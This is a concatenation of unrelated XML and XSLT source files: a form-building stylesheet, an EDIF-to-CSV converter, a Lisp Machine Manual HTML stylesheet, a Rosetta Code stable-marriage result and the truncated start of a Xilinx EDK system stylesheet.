<gh_stars>1-10 <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns="http://www.w3.org/1999/xhtml" xmlns:html="http://www.w3.org/1999/xhtml" exclude-result-prefixes="html"> <xsl:import href="sfw_generics.xsl" /> <xsl:import href="sfw_utilities.xsl" /> <xsl:import href="sfw_schema.xsl" /> <xsl:output method="xml" doctype-public="-//W3C//DTD XHTML 1.0 Strict//EN" doctype-system="http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd" version="1.0" indent="yes" omit-xml-declaration="yes" encoding="UTF-8"/> <!-- <xsl:variable name="empty-list-value" select="'- - empty list - -'" /> --> <xsl:variable name="empty-list-value">-- empty list --</xsl:variable> <xsl:template match="field" mode="construct_form_single"> <xsl:param name="data" /> <xsl:param name="legend" select="'legend'" /> <form method="post" class="Moveable" data-sfw-class="form-single" onsubmit="return false;"> <fieldset class="Schema"> <legend><xsl:value-of select="$legend" /></legend> <xsl:apply-templates select="." mode="construct_input_row"> <xsl:with-param name="data" select="$data" /> <xsl:with-param name="view-mode" select="'single'" /> </xsl:apply-templates> <p class="buttons"> <input type="submit" value="Submit" /> <input type="button" value="Cancel" data-type="cancel" /> </p> </fieldset> </form> </xsl:template> <xsl:template match="field[@construct_form_single][data]"> <xsl:apply-templates select="." mode="construct_form_single"> <xsl:with-param name="data" select="data" /> </xsl:apply-templates> </xsl:template> <xsl:template match="schema" mode="construct_form"> <xsl:param name="result-schema" /> <xsl:param name="method" select="'post'" /> <xsl:param name="type" /> <xsl:param name="primary" /> <xsl:param name="prow" select="/.." /> <!-- $data will be a single data element. Select with the following priority: 1. ($fd) if current() is first gen schema, look for first row of first result 2. ($sd) sibling of schema with proper name 3. ($dd) 1st row of data-result, or 4. ($rd) first child of first result (which might be a schema) --> <!-- <xsl:variable name="fd" select="../*[current()=/*/schema[1]][@rndx='1']/*[1]"/> --> <!-- <xsl:variable name="sd" select="../*[not($fd)][local-name()=current()/@name][1]"/> --> <!-- <xsl:variable name="dd" select="../form-data[not($fd|$sd)]/*[1]"/> --> <!-- <xsl:variable name="rd" select="../*[not($fd|$sd|$dd)][@rndx='1']/*[1]"/> --> <!-- <xsl:variable name="data" select="$fd|$sd|$dd|$rd"/> --> <xsl:variable name="sn" select="@name" /> <xsl:variable name="rn" select="parent::node[not($sn)]/@row-name" /> <xsl:variable name="rowname" select="$sn|$rn" /> <!-- pd (parameter data): data row explicitly included in parameters (top priority) sd (sibling data): data row is sibling of schema element fd (form data): data row from explicitly-named form-data element rd (result data): data row from result element that is a sibling of the schema md (merged data) row from merged result There was a last resort variable, but it's been removed in favor of the $prow parameter. If an application needs a last resort, pass the last resort data in the $prow parameter. --> <xsl:variable name="sd" select="../*[not($prow)][local-name()=$rowname][1]" /> <xsl:variable name="fd" select="../form-data[not($prow)][not($sd)]/*[1]" /> <xsl:variable name="md" select="../*[not($prow|$sd|$fd)][@merged][@rndx]/*[local-name()=../@row-name][1]" /> <xsl:variable name="rd" select="../*[not($prow|$sd|$fd|$md)][@rndx='1']/*[local-name()=../@row-name][1]" /> <xsl:variable name="data" select="$prow|$sd|$fd|$md|$rd" /> <xsl:variable name="sfw-class"> <xsl:choose> <xsl:when test="$mode-type='form-import'">import</xsl:when> <xsl:when test="$type"><xsl:value-of select="$type" /></xsl:when> <xsl:when test="@merge-type"><xsl:value-of select="@merge-type" /></xsl:when> <xsl:when test="@type"><xsl:value-of select="@type" /></xsl:when> <xsl:otherwise><xsl:value-of select="$mode-type" /></xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="msg"> <xsl:call-template name="get_var_value"> <xsl:with-param name="name" select="'msg'" /> </xsl:call-template> </xsl:variable> <xsl:variable name="action"> <xsl:apply-templates select="." mode="get_form_action" /> </xsl:variable> <xsl:variable name="has_action" select="string-length($action) &gt; 0" /> <xsl:variable name="legend"> <xsl:apply-templates select="." mode="get_form_title" /> </xsl:variable> <xsl:variable name="class"> <xsl:choose> <xsl:when test="$primary">Embedded</xsl:when> <xsl:otherwise>Moveable</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:element name="form"> <xsl:if test="$mode-type='form-import'"> <xsl:attribute name="enctype">multipart/form-data</xsl:attribute> </xsl:if> <!-- Always include action, even if empty: --> <xsl:attribute name="action"> <xsl:if test="not($action='^local')"> <xsl:value-of select="$action" /> </xsl:if> </xsl:attribute> <xsl:attribute name="class"> <xsl:value-of select="$class" /> </xsl:attribute> <xsl:attribute name="method"> <xsl:value-of select="$method" /> </xsl:attribute> <xsl:attribute name="data-sfw-class"> <xsl:value-of select="$sfw-class" /> </xsl:attribute> <xsl:if test="$data"> <xsl:attribute name="data-path"> <xsl:apply-templates select="$data" mode="gen_path" /> </xsl:attribute> </xsl:if> <xsl:attribute name="data-schema-path"> <xsl:apply-templates select="." mode="gen_path" /> </xsl:attribute> <fieldset class="Schema"> <xsl:element name="legend"> <xsl:attribute name="class"> <xsl:value-of select="$class" /> </xsl:attribute> <xsl:value-of select="$legend" /> </xsl:element> <xsl:apply-templates select="." mode="construct_button_row"> <xsl:with-param name="host-type" select="'p'" /> </xsl:apply-templates> <xsl:if test="$msg"> <div class="form_msg"> <xsl:value-of select="$msg" /> </div> <hr /> </xsl:if> <xsl:if test="$mode-type='form-import'"> <p> <label for="upfile">Upload the file</label> <input type="file" name="upfile" /> </p> </xsl:if> <xsl:variable name="extra_fields" select="@*[substring(local-name(),1,11)='form-field-']" /> <xsl:apply-templates select="$extra_fields" mode="construct_extra_form_field" /> <xsl:apply-templates select="." mode="construct_form_inputs"> <xsl:with-param name="data" select="$data" /> <xsl:with-param name="result-schema" select="$result-schema" /> <xsl:with-param name="view-mode" select="not($has_action)" /> </xsl:apply-templates> <hr /> <p class="buttons"> <xsl:if test="$has_action"> <input type="submit" value="Submit" /> </xsl:if> <xsl:variable name="btarget"> <xsl:choose> <xsl:when test="$has_action">ancel</xsl:when> <xsl:otherwise>lose</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:element name="input"> <xsl:attribute name="type">button</xsl:attribute> <xsl:attribute name="value">C<xsl:value-of select="$btarget" /></xsl:attribute> <xsl:attribute name="data-type">c<xsl:value-of select="$btarget" /></xsl:attribute> <xsl:if test="$class and $class!='Moveable'"> <xsl:attribute name="class"><xsl:value-of select="$class" /></xsl:attribute> </xsl:if> </xsl:element> </p> </fieldset> </xsl:element> </xsl:template> <xsl:template name="display_error"> <xsl:choose> <xsl:when test="$result-row and $result-row/@error&gt;0"> <p class="result-msg"><xsl:value-of select="$result-row/@msg" /></p> </xsl:when> <xsl:when test="$msg-el and $msg-el/@type='error'"> <xsl:apply-templates select="$msg-el" mode="construct" /> </xsl:when> <xsl:otherwise><p>Undefined error</p></xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="*[@rndx][@type='variables']" mode="get_value"> <xsl:param name="name" /> <xsl:value-of select="*[1]/@*[local-name()=$name]" /> </xsl:template> <xsl:template match="@*" mode="construct_extra_form_field"> <xsl:variable name="name" select="substring(local-name(),12)" /> <xsl:element name="input"> <xsl:attribute name="type">hidden</xsl:attribute> <xsl:attribute name="name"><xsl:value-of select="$name" /></xsl:attribute> <xsl:attribute name="value"><xsl:value-of select="." /></xsl:attribute> </xsl:element> </xsl:template> <xsl:template match="schema" mode="construct_form_inputs"> <xsl:param name="data" /> <xsl:param name="result-schema" /> <xsl:param name="view-mode" /> <xsl:variable name="fields" select="field[not(@join)]" /> <xsl:apply-templates select="$fields[@hidden]" mode="construct_hidden_input"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> <xsl:apply-templates select="$fields[not(@hidden)]" mode="construct_form_input"> <xsl:with-param name="data" select="$data" /> <xsl:with-param name="result-schema" select="$result-schema" /> <xsl:with-param name="view-mode" select="$view-mode" /> </xsl:apply-templates> </xsl:template> <xsl:template match="field" mode="construct_hidden_input"> <xsl:param name="data" /> <xsl:variable name="name"> <xsl:apply-templates select="." mode="get_name" /> </xsl:variable> <xsl:variable name="value"> <xsl:apply-templates select="." mode="get_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:variable> <input type="hidden" name="{$name}" value="{$value}" /> </xsl:template> <xsl:template match="field" mode="construct_form_input"> <xsl:param name="data" /> <xsl:param name="result-schema" /> <xsl:param name="view-mode" /> <xsl:choose> <xsl:when test="$result-schema"> <xsl:variable name="name" select="@name" /> <xsl:variable name="result-field" select="$result-schema/field[@name=$name]" /> <xsl:apply-templates select="." mode="construct_input_row"> <xsl:with-param name="data" select="$data" /> <xsl:with-param name="result-field" select="$result-field" /> <xsl:with-param name="view-mode" select="$view-mode" /> </xsl:apply-templates> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="." mode="construct_input_row"> <xsl:with-param name="data" select="$data" /> <xsl:with-param name="view-mode" select="$view-mode" /> </xsl:apply-templates> </xsl:otherwise> </xsl:choose> </xsl:template> <!-- Create a p (paragraph) element to present one row of a form. Each row will have a label element and some sort of input element. --> <xsl:template match="field[not(@hidden or @ignore)]" mode="construct_input_row"> <xsl:param name="data" /> <xsl:param name="result-field" /> <xsl:param name="view-mode" /> <xsl:variable name="name"> <xsl:apply-templates select="." mode="get_name" /> </xsl:variable> <xsl:variable name="label"> <xsl:apply-templates select="." mode="get_label" /> </xsl:variable> <xsl:variable name="class"> <xsl:text>row</xsl:text> <xsl:if test="@form_class"> <xsl:value-of select="concat(' ',@form_class)" /> </xsl:if> </xsl:variable> <p class="form-row"> <label for="{$name}"> <xsl:if test="$view-mode and @on_field_click"> <xsl:element name="button"> <xsl:attribute name="type">button</xsl:attribute> <xsl:attribute name="data-url"> <xsl:apply-templates select="@on_field_click" mode="resolve_refs"> <xsl:with-param name="escape" select="1" /> </xsl:apply-templates> </xsl:attribute> <xsl:text>Edit</xsl:text> </xsl:element> </xsl:if> <xsl:value-of select="$label" /> <xsl:if test="@ebutton and not($view-mode='single')"> <button type="button" class="ebutton_edit" data-type="call" data-task="SFW.process_ebutton" title="Edit Field" > </button> </xsl:if> </label> <xsl:choose> <xsl:when test="$view-mode='single'"> <xsl:apply-templates select="." mode="construct_input"> <xsl:with-param name="data" select="$data" /> <xsl:with-param name="force-edit" select="1" /> </xsl:apply-templates> </xsl:when> <xsl:when test="$mode-type='form-view'"> <div class="field_content"> <xsl:apply-templates select="." mode="display_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </div> <xsl:choose> <xsl:when test="@call"> <button type="button" data-type="call" data-task="{@call}">edit</button> </xsl:when> <xsl:when test="@manage"> <xsl:variable name="manage"> <xsl:apply-templates select="@manage" mode="resolve_refs"> <xsl:with-param name="escape" select="1" /> </xsl:apply-templates> </xsl:variable> <button type="button" data-type="view" data-url="{$manage}">Manage</button> </xsl:when> </xsl:choose> </xsl:when> <xsl:when test="$view-mode and not(@active) and not(@type='linked')"> <div class="field_content" name="{$name}"> <xsl:apply-templates select="." mode="display_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </div> </xsl:when> <xsl:when test="$result-field and $result-field[@enum]"> <xsl:apply-templates select="$result-field" mode="construct_input"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:when> <xsl:otherwise> <xsl:apply-templates select="." mode="construct_input"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:otherwise> </xsl:choose> </p> </xsl:template> <xsl:template match="field" mode="display_value"> <xsl:param name="data" /> <xsl:apply-templates select="." mode="get_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:template> <xsl:template match="field[@dtd]" mode="get_list_string"> <xsl:variable name="paren" select="substring-after(@dtd,'(')" /> <xsl:variable name="len" select="string-length($paren)" /> <xsl:value-of select="substring($paren,1,($len)-1)" /> </xsl:template> <xsl:template match="field" mode="fill_table_cell"> <xsl:param name="data" /> <xsl:apply-templates select="." mode="get_cell_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:template> <xsl:template match="field" mode="get_s_value"> <xsl:variable name="schema" select=".." /> <xsl:variable name="sname" select="$schema/@name" /> <xsl:variable name="srow" select="$schema/*[local-name()=$sname]" /> <xsl:variable name="svalue"> <xsl:if test="$srow"> <xsl:value-of select="$srow/@*[local-name()=$sname]" /> </xsl:if> </xsl:variable> <xsl:choose> <xsl:when test="$svalue"> <xsl:value-of select="$svalue" /> </xsl:when> <xsl:otherwise> <!-- find sibling-to-schema results: --> <xsl:variable name="results" select="$schema/../*[@rndx]" /> <xsl:variable name="rcount" select="count($results)" /> <xsl:if test="$rcount&gt;0"> <xsl:choose> <xsl:when test="$results[@type='data']"> <xsl:value-of select="$results[@type='data']/@*[local-name()=$sname]" /> </xsl:when> <xsl:otherwise> <xsl:value-of select="$results[1]/@*[local-name()=$sname]" /> </xsl:otherwise> </xsl:choose> </xsl:if> </xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="@*" mode="get_value_by_name"> <xsl:choose> <xsl:when test="local-name()='html-value'"> <xsl:value-of select="." /> </xsl:when> <xsl:when test="local-name()='value'"> <xsl:value-of select="." /> </xsl:when> <xsl:when test="local-name()='ref-value'"> <xsl:apply-templates select="$vars" mode="get_value"> <xsl:with-param name="name" select="." /> </xsl:apply-templates> </xsl:when> </xsl:choose> </xsl:template> <xsl:template match="field/enum" mode="make_option"> <xsl:param name="value" /> <xsl:variable name="index"> <xsl:choose> <xsl:when test="@index"> <xsl:value-of select="@index" /> </xsl:when> <xsl:otherwise> <xsl:value-of select="@value" /> </xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:element name="option"> <xsl:attribute name="value"><xsl:value-of select="$index" /></xsl:attribute> <xsl:if test="$index=$value"> <xsl:attribute name="selected">selected</xsl:attribute> </xsl:if> <xsl:value-of select="@value" /> </xsl:element> </xsl:template> <xsl:template name="construct_enum_options"> <xsl:param name="value" /> <xsl:param name="str" /> <xsl:variable name="delim" select="substring($str,1,1)" /> <xsl:variable name="tween" select="concat($delim,',',$delim)" /> <xsl:variable name="start" select="substring($str,2)" /> <xsl:variable name="before_tween" select="substring-before($start,$tween)" /> <xsl:variable name="tval"> <xsl:choose> <xsl:when test="$before_tween"> <xsl:value-of select="$before_tween" /> </xsl:when> <xsl:otherwise> <xsl:value-of select="substring($start,1,-1+string-length($start))" /> </xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="cval" select="translate($tval,$aposaka,$apos)" /> <xsl:element name="option"> <xsl:attribute name="value"><xsl:value-of select="$cval" /></xsl:attribute> <xsl:if test="$tval=$value"> <xsl:attribute name="selected">selected</xsl:attribute> </xsl:if> <xsl:value-of select="$cval" /> </xsl:element> <xsl:if test="$before_tween"> <xsl:variable name="pos_next" select="string-length($cval)+4" /> <xsl:call-template name="construct_enum_options"> <xsl:with-param name="value" select="$value" /> <xsl:with-param name="str" select="substring($str,$pos_next)" /> </xsl:call-template> </xsl:if> </xsl:template> <xsl:template match="field" mode="check_readonly"> <xsl:choose> <xsl:when test="@html-readonly">true</xsl:when> <xsl:when test="@readOnly">true</xsl:when> <xsl:when test="@primary-key">true</xsl:when> <xsl:otherwise>false</xsl:otherwise> </xsl:choose> </xsl:template> <xsl:template match="field" mode="construct_input"> <xsl:param name="data" /> <xsl:param name="force-edit" /> <xsl:variable name="type"> <xsl:choose> <xsl:when test="@html-type"><xsl:value-of select="@html-type" /></xsl:when> <!-- <xsl:when test="@type='DATE'">dtp_date</xsl:when> --> <!-- <xsl:when test="@type='DATETIME'">dtp_datetime</xsl:when> --> <xsl:when test="@type='DATE'">input</xsl:when> <xsl:when test="@type='DATETIME'">datetime</xsl:when> <xsl:when test="@type='BOOL'">checkbox</xsl:when> <xsl:when test="translate(@type,$lowers,$uppers)='PASSWORD'">password</xsl:when> <xsl:otherwise>text</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="class"> <xsl:if test="@type='DATE'">dpicker</xsl:if> </xsl:variable> <xsl:variable name="name"> <xsl:apply-templates select="." mode="get_name" /> </xsl:variable> <xsl:variable name="size"> <xsl:choose> <xsl:when test="@html-size"><xsl:value-of select="@html-size" /></xsl:when> <xsl:otherwise> <xsl:apply-templates select="." mode="get_size" /> </xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="readonly"> <xsl:if test="not($force-edit)"> <xsl:apply-templates select="." mode="check_readonly" /> </xsl:if> </xsl:variable> <xsl:variable name="value"> <xsl:apply-templates select="." mode="get_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:variable> <xsl:element name="input"> <xsl:attribute name="type"><xsl:value-of select="$type" /></xsl:attribute> <xsl:attribute name="name"><xsl:value-of select="$name" /></xsl:attribute> <xsl:attribute name="size"><xsl:value-of select="$size" /></xsl:attribute> <xsl:if test="string-length($class)&gt;0"> <xsl:attribute name="class"><xsl:value-of select="$class" /></xsl:attribute> </xsl:if> <xsl:if test="$readonly='true'"> <xsl:attribute name="disabled">disabled</xsl:attribute> <xsl:attribute name="readonly">readonly</xsl:attribute> </xsl:if> <xsl:apply-templates select="@*" mode="add_html_attribute"> <xsl:with-param name="skip" select="' type name size readonly value '" /> </xsl:apply-templates> <xsl:if test="@custom_class"> <xsl:attribute name="data-sfw-class"><xsl:value-of select="@custom_class" /></xsl:attribute> <xsl:attribute name="data-sfw-input">true</xsl:attribute> </xsl:if> <xsl:if test="string-length($value)&gt;0"> <xsl:choose> <xsl:when test="$type='checkbox'"> <xsl:if test="$value=1"> <xsl:attribute name="checked">checked</xsl:attribute> </xsl:if> </xsl:when> <xsl:otherwise> <xsl:attribute name="value"> <xsl:value-of select="$value" /> </xsl:attribute> </xsl:otherwise> </xsl:choose> </xsl:if> </xsl:element> </xsl:template> <xsl:template match="field[@type='TEXT']" mode="construct_input"> <xsl:param name="data" /> <xsl:variable name="name"> <xsl:apply-templates select="." mode="get_name" /> </xsl:variable> <xsl:variable name="readonly"> <xsl:apply-templates select="." mode="check_readonly" /> </xsl:variable> <xsl:variable name="value"> <xsl:apply-templates select="." mode="get_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:variable> <xsl:variable name="rows"> <xsl:choose> <xsl:when test="@rows"><xsl:value-of select="@rows" /></xsl:when> <xsl:otherwise>2</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="cols"> <xsl:choose> <xsl:when test="@cols"><xsl:value-of select="@cols" /></xsl:when> <xsl:otherwise>30</xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:element name="textarea"> <xsl:attribute name="name"><xsl:value-of select="$name" /></xsl:attribute> <xsl:attribute name="rows"><xsl:value-of select="$rows" /></xsl:attribute> <xsl:attribute name="cols"><xsl:value-of select="$cols" /></xsl:attribute> <xsl:value-of select="$value" /> </xsl:element> </xsl:template> <xsl:template match="field[@type='ENUM' or @enum]" mode="construct_input"> <xsl:param name="data" /> <xsl:variable name="name"> <xsl:apply-templates select="." mode="get_name" /> </xsl:variable> <xsl:variable name="value"> <xsl:apply-templates select="." mode="get_value"> <xsl:with-param name="data" select="$data" /> </xsl:apply-templates> </xsl:variable> <xsl:variable name="tstr"> <xsl:apply-templates select="." mode="get_list_string" /> </xsl:variable> <xsl:variable name="str"> <xsl:call-template name="translate_apospairs"> <xsl:with-param name="str" select="$tstr" /> </xsl:call-template> </xsl:variable> <xsl:element name="select"> <xsl:attribute name="name"><xsl:value-of select="$name" /></xsl:attribute> <xsl:call-template name="construct_enum_options"> <xsl:with-param name="str" select="$str" /> <xsl:with-param name="value" select="translate($value,$apos,$aposaka)" /> </xsl:call-template> </xsl:element> </xsl:template> <!-- This template will be discarded when sfw_form.xsl is imported to a stylesheet that already includes <xsl:template match="/">. --> <xsl:template match="/"> <html> <head> <title>Testing</title> </head> <body> <xsl:apply-templates select="*/schema" mode="construct_form" /> </body> </html> </xsl:template> </xsl:stylesheet>
<?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:import href="common.xsl"/> <xsl:output method="text"/> <xsl:template match="/"> <xsl:text>library,cell,view,page,instance,name,@name,lref,cref,vref,desinator,pt,rot</xsl:text> <xsl:text>&#10;</xsl:text> <xsl:apply-templates select="edif/library/cell/view/contents//instance"/> </xsl:template> <xsl:template match="instance"> <xsl:value-of select="ancestor::library/@name"/> <xsl:text>,</xsl:text> <xsl:value-of select="ancestor::cell/@name"/> <xsl:text>,</xsl:text> <xsl:value-of select="ancestor::view/@name"/> <xsl:text>,</xsl:text> <xsl:value-of select="ancestor::page/@name"/> <xsl:text>,</xsl:text> <xsl:value-of select="@name"/> <xsl:text>,</xsl:text> <xsl:apply-templates select="." mode="_name"/> <xsl:text>,</xsl:text> <xsl:value-of select="viewref/cellref/libraryref/@name"/> <xsl:text>,</xsl:text> <xsl:value-of select="viewref/cellref/@name"/> <xsl:text>,</xsl:text> <xsl:value-of select="viewref/@name"/> <xsl:text>,</xsl:text> <xsl:apply-templates select="designator" mode="_designator"/> <xsl:text>,</xsl:text> <xsl:value-of select="transform/origin/pt"/> <xsl:text>,</xsl:text> <xsl:value-of select="transform/orientation"/> <xsl:text>&#10;</xsl:text> </xsl:template> </xsl:stylesheet>
<?xml version="1.0" encoding="iso-8859-1" ?> <xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0"> <xsl:import href="common.xsl"/> <xsl:param name="mode">xml</xsl:param> <xsl:output method="html" indent="yes" omit-xml-declaration="yes" doctype-public="-//W3C//DTD HTML 4.0 Strict//EN" /> <xsl:template match="/document-part"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>Lisp Machine Manual</title> <link rel="stylesheet" type="text/css" href="lmman.css" /> <script src="javascript.js" language="javascript" type="text/javascript"> </script> </head> <body> <xsl:call-template name="navigation"/> <xsl:apply-templates/> </body> </html> </xsl:template> <!-- structural elements --> <xsl:template match="chapter"> <h1><xsl:value-of select="@number"/>.<xsl:value-of select="' '"/><xsl:value-of select="@title"/></h1> <xsl:apply-templates/> </xsl:template> <xsl:template match="section"> <a name="{@name}-section"/> <h2><xsl:value-of select="@chapter-number"/>.<xsl:value-of select="@number"/><xsl:value-of select="' '"/><xsl:value-of select="@title"/></h2> <xsl:apply-templates/> </xsl:template> <xsl:template match="p"> <p> <xsl:if test="@indent = '1'"> <xsl:attribute name="class">indented</xsl:attribute> </xsl:if> <xsl:apply-templates/> </p> </xsl:template> <xsl:template match="pre"> <pre> <xsl:apply-templates/> </pre> </xsl:template> <xsl:template match="center"> <h3><xsl:apply-templates/></h3> </xsl:template> <!-- hyperlinks --> <xsl:template match="a"> <a name="{@name}"/> </xsl:template> <xsl:template match="index-entry"> <a name="{@title}"/> </xsl:template> <xsl:template match="definition"> <div class="definition"> <xsl:apply-templates/> </div> </xsl:template> <xsl:template match="define"> <div class="define"> <a name="{@key}"/> <span class="definition-type-title"> <xsl:choose> <xsl:when test="@type = 'message'">Message</xsl:when> <xsl:when test="@type = 'fun'">Function</xsl:when> <xsl:when test="@type = 'method'">Method</xsl:when> <xsl:when test="@type = 'metamethod'">Meta-Method</xsl:when> <xsl:when test="@type = 'const'">Constant</xsl:when> <xsl:when test="@type = 'condition'">Condition</xsl:when> <xsl:when test="@type = 'spec'">Special Form</xsl:when> <xsl:when test="@type = 'mac'">Macro</xsl:when> <xsl:when test="@type = 'flavor'">Flavor</xsl:when> <xsl:when test="@type = 'flavor-condition'">Flavor Condition</xsl:when> <xsl:when test="@type = 'condition-flavor'">Condition Flavor</xsl:when> <xsl:when test="@type = 'var'">Variable</xsl:when> <xsl:when test="@type = 'initoption'">Initialization Option</xsl:when> <xsl:when test="@type = 'meter'">Meter</xsl:when> <xsl:otherwise><xsl:value-of select="@type"/></xsl:otherwise> </xsl:choose> </span> <b><xsl:value-of select="@name"/></b> <xsl:value-of select="' '"/> <xsl:apply-templates/> </div> </xsl:template> <xsl:template match="args"> <span class="arguments"> <xsl:apply-templates/> </span> </xsl:template> <xsl:template match="description"> <div class="description"> <xsl:apply-templates/> </div> </xsl:template> <xsl:template match="ref"> <a href="{@definition-in-file}.xml#{@key}"> <xsl:choose> <xsl:when test="@title != ''"> <xsl:value-of select="@title"/> </xsl:when> <xsl:otherwise> <xsl:value-of select="@key"/> </xsl:otherwise> </xsl:choose> </a> </xsl:template> <xsl:template match="a"> <a href="{@href}"><xsl:apply-templates/></a> </xsl:template> <!-- font selections --> <xsl:template match="standard"> <span class="standard"><xsl:apply-templates/></span> </xsl:template> <xsl:template match="obj"> <span class="obj"><xsl:apply-templates/></span> </xsl:template> <xsl:template match="arg"> <span class="arg"><xsl:apply-templates/></span> </xsl:template> <xsl:template match="lisp"> <pre><xsl:apply-templates/></pre> </xsl:template> <!-- tables --> <xsl:template match="table"> <table> <tbody> <xsl:apply-templates/> </tbody> </table> </xsl:template> <xsl:template match="tr"> <tr> <xsl:apply-templates/> </tr> </xsl:template> <xsl:template match="td"> <td> <xsl:apply-templates/> </td> </xsl:template> </xsl:stylesheet>
<reponame>LaudateCorpus1/RosettaCodeData<gh_stars>1-10 <t> <m:stable-marriage-problem-result xmlns:m="http://rosettacode.org/wiki/Stable_marriage_problem"> <m:solution is-stable="true"> <m:engagement> <m:dude name="bob"/> <m:maid name="cath"/> </m:engagement> <m:engagement> <m:dude name="ed"/> <m:maid name="jan"/> </m:engagement> <m:engagement> <m:dude name="fred"/> <m:maid name="bea"/> </m:engagement> <m:engagement> <m:dude name="gav"/> <m:maid name="gay"/> </m:engagement> <m:engagement> <m:dude name="ian"/> <m:maid name="hope"/> </m:engagement> <m:engagement> <m:dude name="jon"/> <m:maid name="abi"/> </m:engagement> <m:engagement> <m:dude name="hal"/> <m:maid name="eve"/> </m:engagement> <m:engagement> <m:dude name="abe"/> <m:maid name="ivy"/> </m:engagement> <m:engagement> <m:dude name="col"/> <m:maid name="dee"/> </m:engagement> <m:engagement> <m:dude name="dan"/> <m:maid name="fay"/> </m:engagement> </m:solution> <m:message>Perturbing the matches! Swapping cath for jan</m:message> <m:message>The perturbed configuration is unstable.</m:message> </m:stable-marriage-problem-result> </t>
<?xml version="1.0" standalone="no"?> <!DOCTYPE stylesheet [ <!ENTITY UPPERCASE "ABCDEFGHIJKLMNOPQRSTUVWXYZ"> <!ENTITY LOWERCASE "abcdefghijklmnopqrstuvwxyz"> <!ENTITY UPPER2LOWER " '&UPPERCASE;' , '&LOWERCASE;' "> <!ENTITY LOWER2UPPER " '&LOWERCASE;' , '&UPPERCASE;' "> <!ENTITY ALPHALOWER "ABCDEFxX0123456789"> <!ENTITY HEXUPPER "ABCDEFxX0123456789"> <!ENTITY HEXLOWER "abcdefxX0123456789"> <!ENTITY HEXU2L " '&HEXLOWER;' , '&HEXUPPER;' "> <!ENTITY ALLMODS "MODULE[(@INSTANCE)]"> <!ENTITY BUSMODS "MODULE[(@MODCLASS ='BUS')]"> <!ENTITY CPUMODS "MODULE[(@MODCLASS ='PROCESSOR')]"> <!ENTITY MODIOFS "MODULE/IOINTERFACES/IOINTERFACE"> <!ENTITY ALLIOFS "&MODIOFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE'))]"> <!ENTITY MODBIFS "MODULE/BUSINTERFACES/BUSINTERFACE"> <!ENTITY ALLBIFS "&MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE'))]"> <!ENTITY MSTBIFS "&MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and (@TYPE = 'MASTER')]"> <!ENTITY SLVBIFS "&MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and (@TYPE = 'SLAVE')]"> <!ENTITY MOSBIFS "&MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and ((@TYPE = 'MASTER') or (@TYPE = 'SLAVE'))]"> <!ENTITY P2PBIFS "&MODBIFS;[(not(@IS_VALID) or (@IS_VALID = 'TRUE')) and ((@TYPE = 'TARGET') or (@TYPE = 'INITIATOR'))]"> <!ENTITY MODPORTS "MODULE/PORTS/PORT"> <!ENTITY ALLPORTS "&MODPORTS;[ (not(@IS_VALID) or (@IS_VALID = 'TRUE'))]"> <!ENTITY NDFPORTS "&MODPORTS;[((not(@IS_VALID) or (@IS_VALID = 'TRUE')) and (not(@BUS) and not(@IOS)))]"> <!ENTITY DEFPORTS "&MODPORTS;[((not(@IS_VALID) or (@IS_VALID = 'TRUE')) and ((@BUS) or (@IOS)))]"> ]> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" xmlns:dyn="http://exslt.org/dynamic" xmlns:math="http://exslt.org/math" xmlns:xlink="http://www.w3.org/1999/xlink" extension-element-prefixes="math dyn exsl xlink"> <xsl:variable name="G_ROOT" select="/"/> <!-- ====================================================== EDK SYSTEM (EDWARD) Globals. ====================================================== --> <xsl:variable name="G_SYS_EVAL"> <xsl:choose> <xsl:when test="not($P_SYSTEM_XML = '__UNDEF__')"><xsl:text>document($P_SYSTEM_XML)</xsl:text></xsl:when> <xsl:otherwise><xsl:text>/</xsl:text></xsl:otherwise> </xsl:choose> </xsl:variable> <xsl:variable name="G_SYS_DOC" select="dyn:evaluate($G_SYS_EVAL)"/> <xsl:variable name="G_SYS" select="$G_SYS_DOC/EDKSYSTEM"/> <xsl:variable name="G_SYS_TIMESTAMP" select="$G_SYS/@TIMESTAMP"/> <xsl:variable name="G_SYS_EDKVERSION" select="$G_SYS/@EDKVERSION"/> <xsl:variable name="G_SYS_INFO" select="$G_SYS/SYSTEMINFO"/> <xsl:variable name="G_SYS_INFO_PKG" select="$G_SYS_INFO/@PACKAGE"/> <xsl:variable name="G_SYS_INFO_DEV" select="$G_SYS_INFO/@DEVICE"/> <xsl:variable 